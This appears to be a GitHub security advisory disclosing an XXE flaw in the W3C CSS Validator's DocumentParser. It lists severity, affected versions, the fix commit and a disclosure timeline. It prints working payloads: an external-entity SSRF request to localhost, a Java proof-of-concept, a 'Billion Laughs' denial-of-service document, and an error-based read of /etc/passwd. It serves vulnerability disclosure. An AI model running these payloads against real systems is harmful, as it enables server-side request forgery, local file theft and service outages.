W3C - CSS Validator XXE
Summary
All versions of W3C CSS validator are vulnerable to XXE due to unsafe parsing of XML data when untrusted XML data is passed to the DocumentParser() constructor and is not properly sanitized.
Severity
High - An attacker can use specially-crafted XML objects to coerce server-side request forgery (SSRF). On some systems, this vulnerability can be exploited to read arbitrary local files if an attacker has access to exception messages.
Proof of Concept
The following proof-of-concept sample payload will coerce the W3C Validator to make a server-side request to http://localhost:8080/pwn.xml:
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://localhost:8080/pwn.xml"> ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
`
Exploitation can be done using the main method of css-validator.jar ([download link](https://jigsaw.w3.org/css-validator/DOWNLOAD.html)) or when used as a library, such as in the following proof-of-concept:
```java
import org.w3c.css.css.DocumentParser;
import org.w3c.css.util.ApplContext;
public class CssValidatorApp {
// Example CSS URL
private static final String CSS_URL = "http://localhost:8080/file.xml"; // Example CSS URL
public static void...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| CSS Validator Product | < https://github.com/w3c/css-validator/commit/dfc4ca1a3b1147c60149da5df531c5a55333616f | https://github.com/w3c/css-validator/commit/dfc4ca1a3b1147c60149da5df531c5a55333616f |
Details and references
### Summary All versions of W3C CSS validator are vulnerable to XXE due to unsafe parsing of XML data when untrusted XML data is passed to the `DocumentParser()` constructor and is not properly sanitized. ### Severity High - An attacker can use specially-crafted XML objects to coerce server-side request forgery (SSRF). On some systems, this vulnerability can be exploited to read arbitrary local files if an attacker has access to exception messages. ### Proof of Concept The following proof-of-concept sample payload will coerce the W3C Validator to make a server-side request to http://localhost:8080/pwn.xml: ```xml <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://localhost:8080/pwn.xml"> ]> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <text font-size="16" x="0" y="16">&xxe;</text> </svg> ``` Exploitation can be done using the main method of `css-validator.jar` ([download link](https://jigsaw.w3.org/css-validator/DOWNLOAD.html)) or when used as a library, such as in the following proof-of-concept: ```java import org.w3c.css.css.DocumentParser; import org.w3c.css.util.ApplContext; public class CssValidatorApp { // Example CSS URL private static final String CSS_URL = "http://localhost:8080/file.xml"; // Example CSS URL public static void main(String[] args) { try { ApplContext ac = new ApplContext("en"); // Application context with language ac.setCssVersion("css3"); // Set CSS version for validation DocumentParser parser = new DocumentParser(ac, CSS_URL); } catch (Exception e) { System.err.println("Error parsing CSS: " + e.getMessage()); } } } ``` The following “Billion Laughs” payload can be used to create denial-of-service conditions: ```xml <!--?xml version="1.0" ?--> <!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <tag>&lol9;</tag> ``` LFI can be performed if the attacker has access to error messages or stack traces produced by the tool. The following payload will produce the output of `/etc/passwd` in the error message if the user has GNOME installed in the default configuration: ```xml <!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamso ' <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; '> %local_dtd; ]> ``` Additional research is necessary to determine if LFI techniques can be universalized and combined with SSRF to enable data exfiltration without access to exception messages. ### Further Analysis This functionality is provided as a service on the [W3C website](https://jigsaw.w3.org/css-validator/). The vulnerability can be mitigated by uncommenting the lines that enable external entities and DTD validation. ### Timeline **Date reported**: 01/08/2025 **Date fixed**: 02/28/2025 **Date disclosed**: 03/28/2025
- Severity from
- GitHub (reviewed advisory)